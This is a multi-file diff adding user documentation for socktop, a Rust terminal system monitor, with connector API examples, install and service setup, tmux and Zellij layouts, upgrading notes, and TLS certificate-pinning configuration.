for (i, usage) in metrics.cpu_per_core.iter().enumerate() {
println!("Core {}: {:.1}%", i, usage);
}
// CPU temperature
if let Some(temp) = metrics.cpu_temp_c {
println!("CPU Temperature: {:.1}°C", temp);
}
// Memory
println!("Memory Used: {} bytes", metrics.mem_used);
println!("Memory Total: {} bytes", metrics.mem_total);
// Swap
println!("Swap Used: {} bytes", metrics.swap_used);
println!("Swap Total: {} bytes", metrics.swap_total);
// Network interfaces
for net in &metrics.networks {
println!("Interface {}: ↓{}{}",
net.name, net.received, net.transmitted);
}
// GPU information
if let Some(gpus) = &metrics.gpus {
for gpu in gpus {
if let Some(name) = &gpu.name {
println!("GPU: {}", name);
println!(" Utilization: {:.1}%", gpu.utilization.unwrap_or(0.0));
if let Some(temp) = gpu.temp {
println!(" Temperature: {:.1}°C", temp);
}
}
}
}
}
Err(e) => eprintln!("Error: {}", e),
_ => unreachable!(),
}
```
### Process Request
Get process information:
```rust
match connector.request(AgentRequest::Processes).await {
Ok(AgentResponse::Processes(processes)) => {
println!("Total processes: {}", processes.process_count);
for proc in &processes.top_processes {
println!("PID {}: {} - CPU: {:.1}%, Mem: {} MB",
proc.pid,
proc.name,
proc.cpu_usage,
proc.mem_bytes / 1_000_000);
}
}
Err(e) => eprintln!("Error: {}", e),
_ => unreachable!(),
}
```
### Disk Request
Get disk information:
```rust
match connector.request(AgentRequest::Disks).await {
Ok(AgentResponse::Disks(disks)) => {
for disk in disks {
let used = disk.total - disk.available;
let used_gb = used as f64 / 1_000_000_000.0;
let total_gb = disk.total as f64 / 1_000_000_000.0;
let percent = (used as f64 / disk.total as f64) * 100.0;
println!("Disk {}: {:.1} GB / {:.1} GB ({:.1}%)",
disk.name, used_gb, total_gb, percent);
}
}
Err(e) => eprintln!("Error: {}", e),
_ => unreachable!(),
}
```
## Continuous Monitoring
Monitor metrics in a loop:
```rust
use tokio::time::{sleep, Duration};
#[tokio::main]
async fn main() -> Result<(), Box<dyn std::error::Error>> {
let mut connector = connect_to_socktop_agent("ws://localhost:3000/ws").await?;
loop {
match connector.request(AgentRequest::Metrics).await {
Ok(AgentResponse::Metrics(metrics)) => {
println!("CPU: {:.1}%, Memory: {:.1}%",
metrics.cpu_total,
(metrics.mem_used as f64 / metrics.mem_total as f64) * 100.0
);
}
Err(e) => {
eprintln!("Connection error: {}", e);
break;
}
_ => unreachable!(),
}
sleep(Duration::from_secs(2)).await;
}
Ok(())
}
```
## Advanced Usage
### Custom Configuration
`ConnectorConfig` uses a builder pattern:
```rust
use socktop_connector::{ConnectorConfig, SocktopConnector};
let config = ConnectorConfig::new("wss://server:8443/ws?token=secret-token")
.with_tls_ca("/path/to/cert.pem")
.with_hostname_verification(false);
let mut connector = SocktopConnector::new(config);
connector.connect().await?;
```
An authentication token is passed as a `token` query parameter in the URL (there is no separate token field).
### Error Handling
`ConnectorError` variants carry structured context:
```rust
use socktop_connector::{AgentRequest, ConnectorError, Result, connect_to_socktop_agent};
async fn monitor() -> Result<()> {
let mut connector = connect_to_socktop_agent("ws://server:3000/ws").await?;
match connector.request(AgentRequest::Metrics).await {
Ok(_response) => {
// Handle response
Ok(())
}
Err(e @ ConnectorError::ConnectionClosed { .. }) => {
eprintln!("Connection closed, attempting reconnect...");
Err(e)
}
Err(e) => {
eprintln!("Error: {}", e);
Err(e)
}
}
}
```
## WASM Support
The connector supports WebAssembly for browser usage:
```toml
[dependencies]
socktop_connector = { version = "1.60", default-features = false, features = ["wasm"] }
```
```rust
use socktop_connector::connect_to_socktop_agent;
use wasm_bindgen::prelude::*;
#[wasm_bindgen]
pub async fn monitor_system(url: String) -> Result<JsValue, JsValue> {
let mut connector = connect_to_socktop_agent(&url)
.await
.map_err(|e| JsValue::from_str(&e.to_string()))?;
match connector.request(AgentRequest::Metrics).await {
Ok(AgentResponse::Metrics(metrics)) => {
Ok(JsValue::from_str(&format!("CPU: {:.1}%", metrics.cpu_total)))
}
Err(e) => Err(JsValue::from_str(&e.to_string())),
_ => Err(JsValue::from_str("Unexpected response")),
}
}
```
## Building Custom Applications
### Example: Simple Dashboard
```rust
use socktop_connector::*;
use tokio::time::{interval, Duration};
#[tokio::main]
async fn main() -> Result<(), Box<dyn std::error::Error>> {
let servers = vec![
("web", "ws://web.example.com:3000/ws"),
("db", "ws://db.example.com:3000/ws"),
("cache", "ws://cache.example.com:3000/ws"),
];
let mut connectors = Vec::new();
for (name, url) in servers {
match connect_to_socktop_agent(url).await {
Ok(conn) => connectors.push((name, conn)),
Err(e) => eprintln!("Failed to connect to {}: {}", name, e),
}
}
let mut tick = interval(Duration::from_secs(2));
loop {
tick.tick().await;
for (name, connector) in &mut connectors {
if let Ok(AgentResponse::Metrics(m)) = connector.request(AgentRequest::Metrics).await {
println!("[{}] CPU: {:.1}%, Mem: {:.1}%",
name,
m.cpu_total,
(m.mem_used as f64 / m.mem_total as f64) * 100.0
);
}
}
println!("---");
}
}
```
### Example: Alert System
```rust
use socktop_connector::*;
async fn check_alerts(mut connector: SocktopConnector) -> Result<(), Box<dyn std::error::Error>> {
match connector.request(AgentRequest::Metrics).await {
Ok(AgentResponse::Metrics(metrics)) => {
// CPU alert
if metrics.cpu_total > 90.0 {
eprintln!("ALERT: CPU usage at {:.1}%", metrics.cpu_total);
}
// Memory alert
let mem_percent = (metrics.mem_used as f64 / metrics.mem_total as f64) * 100.0;
if mem_percent > 90.0 {
eprintln!("ALERT: Memory usage at {:.1}%", mem_percent);
}
// Disk alert
if let Ok(AgentResponse::Disks(disks)) = connector.request(AgentRequest::Disks).await {
for disk in disks {
let used_percent = ((disk.total - disk.available) as f64 / disk.total as f64) * 100.0;
if used_percent > 90.0 {
eprintln!("ALERT: Disk {} at {:.1}%", disk.name, used_percent);
}
}
}
}
Err(e) => eprintln!("Error fetching metrics: {}", e),
_ => {}
}
Ok(())
}
```
## Data Types
Key types provided by the library:
- `Metrics` - System metrics (CPU, memory, network, GPU, etc.)
- `DetailedProcessInfo` - Per-process detail (command, threads, ...)
- `DiskInfo` - Disk usage information
- `NetworkInfo` - Network interface statistics
- `GpuInfo` - GPU metrics
- `JournalEntry` - Systemd journal entries
- `AgentRequest` - Request types (`Metrics`, `Disks`, `Processes`, `ProcessMetrics { pid }`, `JournalEntries { pid }`)
- `AgentResponse` - Response types
See the [crate documentation](https://docs.rs/socktop_connector) for complete API reference.
## Performance Considerations
The connector is lightweight and efficient:
- **Protocol Buffers** - Efficient binary serialization
- **Gzip compression** - Reduced bandwidth usage
- **Async I/O** - Non-blocking operations
- **Connection reuse** - Single WebSocket for multiple requests
Typical resource usage:
- **Memory**: ~1-5 MB per connection
- **CPU**: < 0.1% during idle
- **Bandwidth**: ~1-5 KB per metrics request
## Troubleshooting
### Connection Errors
```rust
match connect_to_socktop_agent(url).await {
Err(ConnectorError::ConnectionFailed { source }) => {
eprintln!("Connection failed: {}", source);
// Retry logic here
}
Err(ConnectorError::InvalidUrl { url, .. }) => {
eprintln!("Invalid URL: {}", url);
}
Err(e) => eprintln!("Other error: {}", e),
Ok(conn) => { /* Success */ }
}
```
### TLS Errors
A `TlsError` or `CertificateError` usually means the pinned certificate doesn't match what the agent presented (or the PEM path is wrong). Re-copy `cert.pem` from the agent — see [TLS Configuration](../security/tls.md). Hostname verification is off by default (`with_hostname_verification(false)`), which pins the certificate rather than skipping checks.
## Examples Repository
Working examples in the socktop repository:
- [`examples/wasm_example.rs`](https://github.com/jasonwitty/socktop/blob/master/examples/wasm_example.rs) - Connector usage from WASM
- [`socktop_wasm_test/`](https://github.com/jasonwitty/socktop/tree/master/socktop_wasm_test) - Browser-based test harness for the wasm feature
- [`socktop/`](https://github.com/jasonwitty/socktop/tree/master/socktop) - The TUI itself is the reference consumer of the connector
## API Reference
Full API documentation: [docs.rs/socktop_connector](https://docs.rs/socktop_connector)
## Next Steps
- [Agent Direct Integration](./agent-integration.md) - Embed agent in your app
- [General Usage](../usage/general.md) - Using the TUI client
- [Configuration](../usage/configuration.md) - Configuration options
<!-- TODO: Add Prometheus exporter example -->
+57
View File
@@ -0,0 +1,57 @@
# Monitor Multiple Hosts with tmux
Use tmux to show multiple socktop instances in a single terminal.
![monitoring 4 Raspberry Pis using Tmux](https://raw.githubusercontent.com/jasonwitty/socktop/master/docs/tmux_4_rpis_v3.jpg)
*monitoring 4 Raspberry Pis using Tmux*
## Prerequisites
Install tmux:
```bash
# Ubuntu/Debian
sudo apt-get install tmux
```
## Two panes (left/right)
This creates a session named "socktop", splits it horizontally, and starts two socktops.
```bash
tmux new-session -d -s socktop 'socktop ws://HOST1:3000/ws' \; \
split-window -h 'socktop ws://HOST2:3000/ws' \; \
select-layout even-horizontal \; \
attach
```
## Four panes (2x2 grid)
This creates a 2x2 grid with one socktop per pane.
```bash
tmux new-session -d -s socktop 'socktop ws://HOST1:3000/ws' \; \
split-window -h 'socktop ws://HOST2:3000/ws' \; \
select-pane -t 0 \; split-window -v 'socktop ws://HOST3:3000/ws' \; \
select-pane -t 1 \; split-window -v 'socktop ws://HOST4:3000/ws' \; \
select-layout tiled \; \
attach
```
## Tips
- Replace HOST1..HOST4 (and ports) with your targets
- Reattach later: `tmux attach -t socktop`
## Key bindings (defaults)
- Split left/right: `Ctrl-b %`
- Split top/bottom: `Ctrl-b "`
- Move between panes: `Ctrl-b` + Arrow keys
- Show pane numbers: `Ctrl-b q`
- Close a pane: `Ctrl-b x`
- Detach from session: `Ctrl-b d`
## More Info
For detailed tmux documentation, see the [tmux GitHub](https://github.com/tmux/tmux).
+55
View File
@@ -0,0 +1,55 @@
# Monitor Multiple Hosts with Zellij
Use Zellij to monitor multiple socktop instances in a single terminal.
## Installation
```bash
cargo install zellij
```
## Example Layout
Create `socktop-layout.kdl`:
```kdl
layout {
pane split_direction="vertical" {
pane command="socktop" {
args "-P" "rpi-master"
}
pane command="socktop" {
args "-P" "rpi-worker-1"
}
}
pane split_direction="vertical" {
pane command="socktop" {
args "-P" "rpi-worker-2"
}
pane command="socktop" {
args "-P" "rpi-worker-3"
}
}
}
```
Run it:
```bash
zellij --layout socktop-layout.kdl
```
## Saved Layouts
Layouts placed in `~/.config/zellij/layouts/` can be launched by name:
```bash
cp socktop-layout.kdl ~/.config/zellij/layouts/socktop-monitoring.kdl
zellij --layout socktop-monitoring
```
The pane commands reference [connection profiles](../usage/connection-profiles.md) by name (`-P rpi-master`), so create the profiles first.
## More Info
For detailed Zellij documentation, see [Zellij](https://zellij.dev/).
+139
View File
@@ -0,0 +1,139 @@
# Agent Service Setup
## APT Installation
If you installed via APT, the service is already configured:
```bash
sudo systemctl enable --now socktop-agent
```
## Cargo Installation
System-wide agent setup:
```bash
# If you installed with cargo, binaries are in ~/.cargo/bin
sudo install -o root -g root -m 0755 "$HOME/.cargo/bin/socktop_agent" /usr/local/bin/socktop_agent
# Install and enable the systemd service (example unit in docs/)
sudo install -o root -g root -m 0644 docs/socktop-agent.service /etc/systemd/system/socktop-agent.service
sudo systemctl daemon-reload
sudo systemctl enable --now socktop-agent
```
## Enable SSL
```bash
# Stop service
sudo systemctl stop socktop-agent
# Edit service to append SSL option and port
sudo nano /etc/systemd/system/socktop-agent.service
# Change ExecStart line to:
# ExecStart=/usr/local/bin/socktop_agent --enableSSL --port 8443
# Reload
sudo systemctl daemon-reload
# Restart
sudo systemctl start socktop-agent
# Check logs for certificate location
sudo journalctl -u socktop-agent -f
# Example output:
# Aug 22 22:25:26 rpi-master socktop_agent[2913998]: socktop_agent: generated self-signed TLS certificate at /var/lib/socktop/.config/socktop_agent/tls/cert.pem
```
## Configuration
Agent configuration via command-line flags or environment variables:
Port:
- Flag: `--port 8080` or `-p 8080`
- Env: `SOCKTOP_PORT=8080`
TLS (self-signed):
- Enable: `--enableSSL`
- Default TLS port: 8443 (override with `--port/-p`)
- Certificate/Key location (created on first TLS run):
- Linux (XDG): `$XDG_CONFIG_HOME/socktop_agent/tls/{cert.pem,key.pem}` (defaults to `~/.config`)
- The agent prints these paths on creation
- Note: when running as the packaged service, the service user's home is `/var/lib/socktop`, so certs land under `/var/lib/socktop/.config/socktop_agent/tls/`
Auth token (optional): `SOCKTOP_TOKEN=changeme`
Disable GPU metrics: `SOCKTOP_AGENT_GPU=0`
Disable CPU temperature: `SOCKTOP_AGENT_TEMP=0`
See [Configuration](../usage/configuration.md) for the complete reference, including tuning variables.
## Journal Access (Process Details)
The process-details view can show recent journal entries for a process. The agent reads them with `journalctl`, so it needs permission to read the system journal. If it can't, the TUI shows a journal-access notice instead of entries (rather than a misleading "no entries").
The packaged service runs as the `socktop` user. To grant journal access:
```bash
sudo usermod -aG systemd-journal socktop
sudo systemctl restart socktop-agent
```
An agent run ad hoc as your own user can typically only read your user journal; run it as a service (or as a user in the `systemd-journal` group) to see entries for system services.
## Managing the Service
### Basic Commands
```bash
# Start the service
sudo systemctl start socktop-agent
# Stop the service
sudo systemctl stop socktop-agent
# Restart the service
sudo systemctl restart socktop-agent
# Reload configuration (if supported)
sudo systemctl reload socktop-agent
# View service status
sudo systemctl status socktop-agent
# Enable auto-start on boot
sudo systemctl enable socktop-agent
# Disable auto-start on boot
sudo systemctl disable socktop-agent
# Enable and start in one command
sudo systemctl enable --now socktop-agent
```
### Logs
```bash
# Follow live logs
sudo journalctl -u socktop-agent -f
# View recent logs
sudo journalctl -u socktop-agent -n 50
```
### Status
```bash
# Check status
sudo systemctl status socktop-agent --no-pager
# Is the service running?
sudo systemctl is-active socktop-agent
```
## Updating
See [Upgrading](./upgrading.md).
+105
View File
@@ -0,0 +1,105 @@
# Install via APT
The easiest way to install socktop on Debian and Ubuntu systems is through the official APT repository.
## Supported Systems
The APT repository supports:
- **Debian** 10+ (Buster and newer)
- **Ubuntu** 20.04+ (Focal and newer)
- **Raspberry Pi OS** (Debian-based)
- **Other Debian derivatives**
### Supported Architectures
- **amd64** (x86_64)
- **arm64** (aarch64)
- **armhf** (ARMv7)
- **riscv64** (experimental)
## Installation
### Step 1: Add GPG Signing Key
First, add the repository's GPG signing key to verify package authenticity:
```bash
curl -fsSL https://jasonwitty.github.io/socktop/KEY.gpg | \
sudo gpg --dearmor -o /usr/share/keyrings/socktop-archive-keyring.gpg
```
This ensures that packages are cryptographically verified before installation.
### Step 2: Add APT Repository
Add the socktop repository to your system's sources list:
```bash
echo "deb [signed-by=/usr/share/keyrings/socktop-archive-keyring.gpg] https://jasonwitty.github.io/socktop stable main" | \
sudo tee /etc/apt/sources.list.d/socktop.list
```
### Step 3: Update Package Lists
Refresh your package cache to include the new repository:
```bash
sudo apt update
```
### Step 4: Install Packages
Install socktop and the agent:
```bash
# Install both client and agent
sudo apt install socktop socktop-agent
# Or install individually
sudo apt install socktop # TUI client only
sudo apt install socktop-agent # Agent only
```
## Automatic Service Setup
The APT package automatically configures the agent as a systemd service, but it's **not enabled by default**.
### Enable and Start the Agent
```bash
# Enable the service to start at boot
sudo systemctl enable socktop-agent
# Start the service now
sudo systemctl start socktop-agent
# Or do both in one command
sudo systemctl enable --now socktop-agent
```
### Check Service Status
```bash
# View service status
sudo systemctl status socktop-agent
# View service logs
sudo journalctl -u socktop-agent -f
# View recent logs
sudo journalctl -u socktop-agent -n 50
```
### Control the Service
```bash
# Stop the service
sudo systemctl stop socktop-agent
# Restart the service
sudo systemctl restart socktop-agent
# Disable auto-start
sudo systemctl disable socktop-agent
```
+118
View File
@@ -0,0 +1,118 @@
# Install via Cargo
Installing socktop via Cargo gives you access to the latest version and works on any Linux distribution with Rust installed.
## Prerequisites
Before installing via Cargo, ensure you have:
- **Current stable Rust** (1.85+, 2024 edition) - Install via [rustup](https://rustup.rs/)
- **Build dependencies** - See [Prerequisites](./prerequisites.md) for details
- **GPU support libraries** (x86_64/aarch64):
```bash
# Debian/Ubuntu
sudo apt install libdrm-dev libdrm-amdgpu1
# Fedora
sudo dnf install libdrm-devel libdrm-amdgpu
```
## Installation
### Installing the TUI Client
```bash
cargo install socktop
```
This will download, compile, and install the `socktop` binary to `~/.cargo/bin/`. Make sure this directory is in your `PATH`.
### Installing the Agent
```bash
cargo install socktop_agent
```
This installs the `socktop_agent` binary to `~/.cargo/bin/`.
### Installing Both (Recommended)
```bash
cargo install socktop socktop_agent
```
## Verify Installation
Check that the binaries are installed correctly:
```bash
# Check socktop client
socktop --version
# Check socktop agent
socktop_agent --version
```
You should see output like:
```
socktop 1.60.1
```
## First Run
### Start the Agent
Start the agent in a separate terminal or background process:
```bash
# Run in foreground (for testing)
socktop_agent
# Run in background
socktop_agent &
# Or on a custom port
socktop_agent --port 3000
```
### Connect with the Client
In another terminal, connect to the agent:
```bash
socktop ws://localhost:3000/ws
```
Or just try demo mode (starts and stops its own local agent):
```bash
socktop --demo
```
## Configuration
The agent is configured with a small set of flags (`--port/-p`, `--enableSSL`) and environment variables (`SOCKTOP_TOKEN`, `SOCKTOP_AGENT_GPU=0`, ...). The client connects by URL or saved profile:
```bash
# Remote connection
socktop ws://192.168.1.100:3000/ws
# Secure connection with a pinned certificate
socktop --tls-ca /path/to/cert.pem wss://secure-host:8443/ws
# Using a connection profile
socktop -P my-server
```
See [Configuration](../usage/configuration.md) for the complete reference and [Connection Profiles](../usage/connection-profiles.md) for profiles.
## System-wide agent (Linux)
```bash
# If you installed with cargo, binaries are in ~/.cargo/bin
sudo install -o root -g root -m 0755 "$HOME/.cargo/bin/socktop_agent" /usr/local/bin/socktop_agent
# Install and enable the systemd service (example unit in docs/)
sudo install -o root -g root -m 0644 docs/socktop-agent.service /etc/systemd/system/socktop-agent.service
sudo systemctl daemon-reload
sudo systemctl enable --now socktop-agent
```
+32
View File
@@ -0,0 +1,32 @@
# Platform Notes
## Linux
Fully supported — agent and client, amd64 and arm64. This is the primary platform.
## Raspberry Pi
- **64-bit** (Raspberry Pi OS 64-bit, Ubuntu): `aarch64-unknown-linux-gnu` — full support including the APT packages.
- **32-bit** (ARMv7): `armv7-unknown-linux-gnueabihf` — supported, but GPU metrics are not available; when building from source, build the agent with `--no-default-features`.
**Kernel tip:** update to kernel 6.6 or newer if you can. The agent uses considerably less CPU on newer kernels — on a Pi 4 under continuous polling, roughly 0.8 of a core before 6.6 versus 0.2 after (idle usage is 0 either way).
## Windows
- Client and agent build with stable Rust and the MSVC toolchain (install Visual Studio Build Tools).
- Prebuilt `.exe` binaries for both are available in the build artifacts under [GitHub Actions](https://github.com/jasonwitty/socktop/actions).
- CPU temperature may be unavailable.
## macOS
- The client works well — build or `cargo install` as on Linux.
- The agent runs fine for local use and debugging, but it is primarily targeted at Linux; running it as a launchd service is not documented.
## RISC-V (experimental)
- `riscv64` builds from source; install your distribution's `protobuf-compiler` package first.
- No GPU support — build the agent with `--no-default-features`.
## Cross-Compiling
To build agent binaries for Raspberry Pi or other ARM devices from a faster machine, see the [cross-compilation guide](https://github.com/jasonwitty/socktop/blob/master/docs/cross-compiling.md) (Linux, macOS, or Windows hosts).
+77
View File
@@ -0,0 +1,77 @@
# Prerequisites
## Supported Operating Systems
- **Debian** 10+
- **Ubuntu** 20.04+
- **Arch Linux** (latest)
- **Fedora** 35+
- **Raspberry Pi OS**
- Other Linux distributions with kernel 4.15+
- Windows 10+ (binaries available in build artifacts)
- macOS (client; the agent runs but is primarily targeted at Linux)
See [Platform Notes](./platform-notes.md) for platform-specific details.
#### Supported Architectures
- **amd64** (x86_64)
- **arm64** (aarch64) - Raspberry Pi 4, AWS Graviton
- **armhf** (ARMv7) - Raspberry Pi 3
- **riscv64** (experimental)
## Software Dependencies
GPU support requires additional libraries (x86_64 and aarch64 only):
**Debian/Ubuntu/Raspberry Pi OS:**
```bash
sudo apt update
sudo apt install libdrm-dev libdrm-amdgpu1
```
**Fedora:**
```bash
sudo dnf install libdrm-devel libdrm-amdgpu
```
On ARMv7 (32-bit) and RISC-V, GPU support is not available — build the agent with `--no-default-features`:
```bash
cargo build --release -p socktop_agent --no-default-features
```
### For Cargo Installation
#### 1. Rust Toolchain
A current stable Rust toolchain is required (the crates use the 2024 edition, so Rust 1.85+).
```bash
# Install Rust via rustup (recommended)
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
# Verify installation
rustc --version
cargo --version
# Update if needed
rustup update
```
#### 2. Build Dependencies
**Debian/Ubuntu:**
```bash
sudo apt install build-essential pkg-config libssl-dev libdrm-dev libdrm-amdgpu1
```
**Fedora:**
```bash
sudo dnf install gcc pkg-config openssl-devel libdrm-devel libdrm-amdgpu
```
**Arch Linux:**
```bash
sudo pacman -S base-devel openssl libdrm
```
+114
View File
@@ -0,0 +1,114 @@
# Quick Start
## Installation Methods
socktop can be installed via APT (Debian/Ubuntu), Cargo, or built from source.
## Option 1: APT Installation (Recommended for Debian/Ubuntu)
Debian/Ubuntu installation:
```bash
# Add the repository's GPG signing key
curl -fsSL https://jasonwitty.github.io/socktop/KEY.gpg | \
sudo gpg --dearmor -o /usr/share/keyrings/socktop-archive-keyring.gpg
# Add the APT repository
echo "deb [signed-by=/usr/share/keyrings/socktop-archive-keyring.gpg] https://jasonwitty.github.io/socktop stable main" | \
sudo tee /etc/apt/sources.list.d/socktop.list
# Update the package list
sudo apt update
# Install socktop and the agent
sudo apt install socktop socktop-agent
# Enable the agent service
sudo systemctl enable --now socktop-agent
```
Then connect to it: `socktop ws://localhost:3000/ws` — or to any remote agent by hostname.
## Option 2: Cargo Installation
Install from crates.io:
```bash
# Install GPU support libraries (see Prerequisites for other distros)
sudo apt install libdrm-dev libdrm-amdgpu1
# Install the TUI client
cargo install socktop
# Install the agent
cargo install socktop_agent
# Run the agent manually or set up as a service (see Agent Service Setup)
socktop_agent
```
## Demo Mode
Test socktop without setting up an agent:
```bash
# If you have socktop installed
socktop --demo
# Or just run socktop with no arguments and select 'demo' from the interactive menu
socktop
```
This spins up a temporary local agent on port 3231, connects to it, and stops when you quit (Ctrl-C or `q`).
## Usage
```bash
# Quick demo (no agent setup needed)
socktop --demo
# Connect to an agent (local or remote) — note the /ws path
socktop ws://localhost:3000/ws
socktop ws://hostname:3000/ws
# Or run socktop with no arguments to pick a saved profile interactively
socktop
```
The TUI displays system metrics in real-time.
## Interactive Profile Selection
If you run `socktop` with no arguments, you'll see an interactive menu:
```
Select profile:
1. prod
2. dev-server
3. demo
Enter number (or blank to abort):
```
- Choose a numbered profile to connect to a saved server
- Select `demo` to launch demo mode (always available)
- Press Enter on blank to abort
## Monitoring Remote Systems
To monitor a remote system:
1. **Install the agent** on the target system (using APT or Cargo)
2. **Start the agent** on the remote system:
```bash
# Via systemd (APT install)
sudo systemctl start socktop-agent
# Or manually
socktop_agent
```
3. **Connect from your client**:
```bash
socktop ws://remote-hostname:3000/ws
```
Save frequently used connections as profiles. See [Connection Profiles](../usage/connection-profiles.md).
+64
View File
@@ -0,0 +1,64 @@
# Upgrading
This guide covers upgrading socktop and socktop_agent to newer versions.
## Upgrade Order
Mixed versions keep working during rollouts (wire changes are additive), but two things set the order:
- **Upgrade clients first where you use TLS.** Versions before 1.60 did not actually enforce certificate pinning — any server certificate was accepted. The fix is client-side.
- **Upgrade agent and client together on machines where you use the [process kill feature](../usage/general.md#killing-a-process)** — older agents keep reporting dead processes, so killed rows would linger on screen.
## Upgrading via APT
### Standard Upgrade
The easiest method - upgrade through normal system updates:
```bash
# Update package lists
sudo apt update
# Upgrade socktop packages
sudo apt upgrade socktop socktop-agent
# Or upgrade entire system
sudo apt upgrade
```
The service will automatically restart after the upgrade.
### Verify Upgrade
```bash
# Check new versions
socktop --version
socktop_agent --version
# Check service status
sudo systemctl status socktop-agent
```
**Tip:** if `socktop --version` still shows the old version after upgrading, an older copy in `~/.cargo/bin` may be shadowing the new one on your `PATH`. Check with `type -a socktop` and remove the stale copy (then `hash -r` in bash). Also note a long-running agent keeps serving its old behavior until restarted — restart the service after any upgrade.
## Upgrading via Cargo
### Update from crates.io
```bash
# Update client
cargo install socktop --force
# Update agent
# on the server running the agent
cargo install socktop_agent --force
sudo systemctl stop socktop-agent
sudo install -o root -g root -m 0755 "$HOME/.cargo/bin/socktop_agent" /usr/local/bin/socktop_agent
# if you changed the unit file:
# sudo install -o root -g root -m 0644 docs/socktop-agent.service /etc/systemd/system/socktop-agent.service
# sudo systemctl daemon-reload
sudo systemctl start socktop-agent
sudo systemctl status socktop-agent --no-pager
# logs:
# journalctl -u socktop-agent -f
```
+87
View File
@@ -0,0 +1,87 @@
# Introduction
![socktop demo](https://raw.githubusercontent.com/jasonwitty/socktop/master/docs/socktop_demo_1_60.apng)
**socktop** is a TUI-first remote system monitor built with Rust. Two components:
- **socktop (TUI Client)** - A terminal-based user interface for viewing system metrics
- **socktop_agent** - A lightweight background service that collects and serves system metrics over WebSocket
## Features
- TUI built with ratatui, Catppuccin Frappe theme
- CPU: overall sparkline + per-core bars, accurate per-process CPU% (normalized 0-100%)
- Memory/Swap gauges
- Disks: per-device usage
- Network: per-interface throughput with sparklines
- Temperatures: CPU (optional)
- Process list: fuzzy search, sortable by CPU% or memory, scrollable
- Process details: command line, working directory, per-thread CPU, journal entries
- Kill local processes from the TUI (Terminate / Force kill, with confirmation)
- Optional GPU metrics
- Compact layout for small terminal windows (automatic, or pinned with `--compact`)
- Remote monitoring via WebSocket (JSON over WS)
- Optional WSS (TLS): agent auto-generates self-signed cert on first run, client pins cert via --tls-ca/-t
- Optional auth token
- Connection profiles for quick access to saved hosts
- Built-in demo mode (--demo)
## Architecture
socktop uses a client-server architecture:
```
┌─────────────────┐ WebSocket ┌──────────────────┐
│ │ ◄────────────────────────► │ │
│ socktop (TUI) │ (with TLS optional) │ socktop-agent │
│ Client │ │ (Background) │
│ │ │ │
└─────────────────┘ └──────────────────┘
│ │
│ │
▼ ▼
User Terminal System Metrics
Local or Remote (sysinfo crate)
```
The agent runs on each system you want to monitor, collecting metrics using the `sysinfo` crate. The client connects to one or more agents to display real-time system information.
## Quick Demo
```bash
socktop --demo
```
Spins up a temporary local agent on port 3231 and connects to it. Stops automatically when you quit.
## Use Cases
- Remote server monitoring
- Homelab / Raspberry Pi cluster monitoring
- Development / testing resource usage
- Custom dashboards via `socktop_connector` library
## Project Status
socktop is actively maintained and used in production environments. The project follows semantic versioning and maintains backward compatibility within major versions.
- **Current Version**: 1.60.x — see [GitHub Releases](https://github.com/jasonwitty/socktop/releases) for release notes
- **Supported Platforms**: Linux (amd64, arm64, armhf, riscv64), Windows, macOS (client) — see [Platform Notes](./installation/platform-notes.md)
- **License**: MIT
Wire changes between versions are additive: mixed client/agent versions keep working during rollouts.
## Community and Support
- **GitHub Repository**: [https://github.com/jasonwitty/socktop](https://github.com/jasonwitty/socktop)
- **Release Notes**: [GitHub Releases](https://github.com/jasonwitty/socktop/releases)
- **Issue Tracker**: Report bugs and request features on GitHub
- **crates.io**:
- [socktop](https://crates.io/crates/socktop) - TUI client
- [socktop_agent](https://crates.io/crates/socktop_agent) - Background agent
- [socktop_connector](https://crates.io/crates/socktop_connector) - Library for integrations
- **APT Repository**: [https://jasonwitty.github.io/socktop/](https://jasonwitty.github.io/socktop/)
## Next Steps
See [Quick Start](./installation/quick-start.md) for installation.
BIN
View File
Binary file not shown.

After

Width:  |  Height:  |  Size: 1.2 MiB

+127
View File
@@ -0,0 +1,127 @@
# TLS Configuration
Secure your socktop agent connections with TLS/SSL encryption.
## How Verification Works
The client supports two modes:
- **Certificate pinning (default).** The certificate the agent presents must be **byte-identical** to one of the certificates in the PEM file you pass with `--tls-ca/-t`. Nothing else is accepted — not other certificates chained to the same CA, not renewed certificates. The pinned PEM may contain multiple certificates (useful during rotation: ship old + new together). Expiry is irrelevant for pinned connections. This mode is designed for the agent's self-signed certificates on home networks.
- **Hostname verification (`--verify-hostname`).** Standard WebPKI validation against the certificate as a root, including hostname/SAN checking.
> **Upgrade note:** client versions before 1.60 did **not** enforce pinning — with `--verify-hostname` off, any server certificate was silently accepted. If you use TLS, make sure your clients are 1.60 or newer.
### Enable TLS (Auto-Generated Certificate)
The agent automatically generates a self-signed certificate on first run when you enable TLS:
```bash
# The agent will auto-generate cert and key on first TLS run
socktop_agent --enableSSL --port 8443
```
The certificate is stored at:
- **Linux (XDG)**: `$XDG_CONFIG_HOME/socktop_agent/tls/cert.pem` (defaults to `~/.config/socktop_agent/tls/`)
- The agent prints the certificate location on first run
- The private key (`key.pem`) is created with mode `0600`; agents also tighten permissions on existing keys at startup
**Example output:**
```
socktop_agent: generated self-signed TLS certificate at /home/user/.config/socktop_agent/tls/cert.pem
```
**Optional: Custom SANs (Subject Alternative Names)**
To include additional IPs or hostnames in the auto-generated certificate:
```bash
SOCKTOP_AGENT_EXTRA_SANS="192.168.1.101,myhost.internal" socktop_agent --enableSSL --port 8443
```
This prevents `NotValidForName` errors when connecting via IPs not in the default SAN list.
### Systemd Service with TLS
Edit `/etc/systemd/system/socktop-agent.service`:
```ini
[Service]
ExecStart=/usr/local/bin/socktop_agent --enableSSL --port 8443
```
Reload and restart:
```bash
sudo systemctl daemon-reload
sudo systemctl restart socktop-agent
# Check logs for certificate location
sudo journalctl -u socktop-agent -f
```
### Connect with Client
Copy the auto-generated certificate from the agent to your client machine:
```bash
# Copy certificate from agent host
scp user@agent-host:~/.config/socktop_agent/tls/cert.pem ~/socktop-agent-cert.pem
```
Connect with certificate pinning:
```bash
# Connect with TLS and pin the server certificate
socktop --tls-ca ~/socktop-agent-cert.pem wss://hostname:8443/ws
# Short form
socktop -t ~/socktop-agent-cert.pem wss://hostname:8443/ws
```
**Notes:**
- Providing `--tls-ca/-t` automatically upgrades `ws://` to `wss://` if you forget the protocol.
- Copy only `cert.pem` to clients — **never** the private key (`key.pem`); it stays on the agent.
- You can monitor multiple agents by passing a different `--tls-ca` per invocation, or better, saving one [profile](../usage/connection-profiles.md) per host.
### Certificate Expiry and Rotation
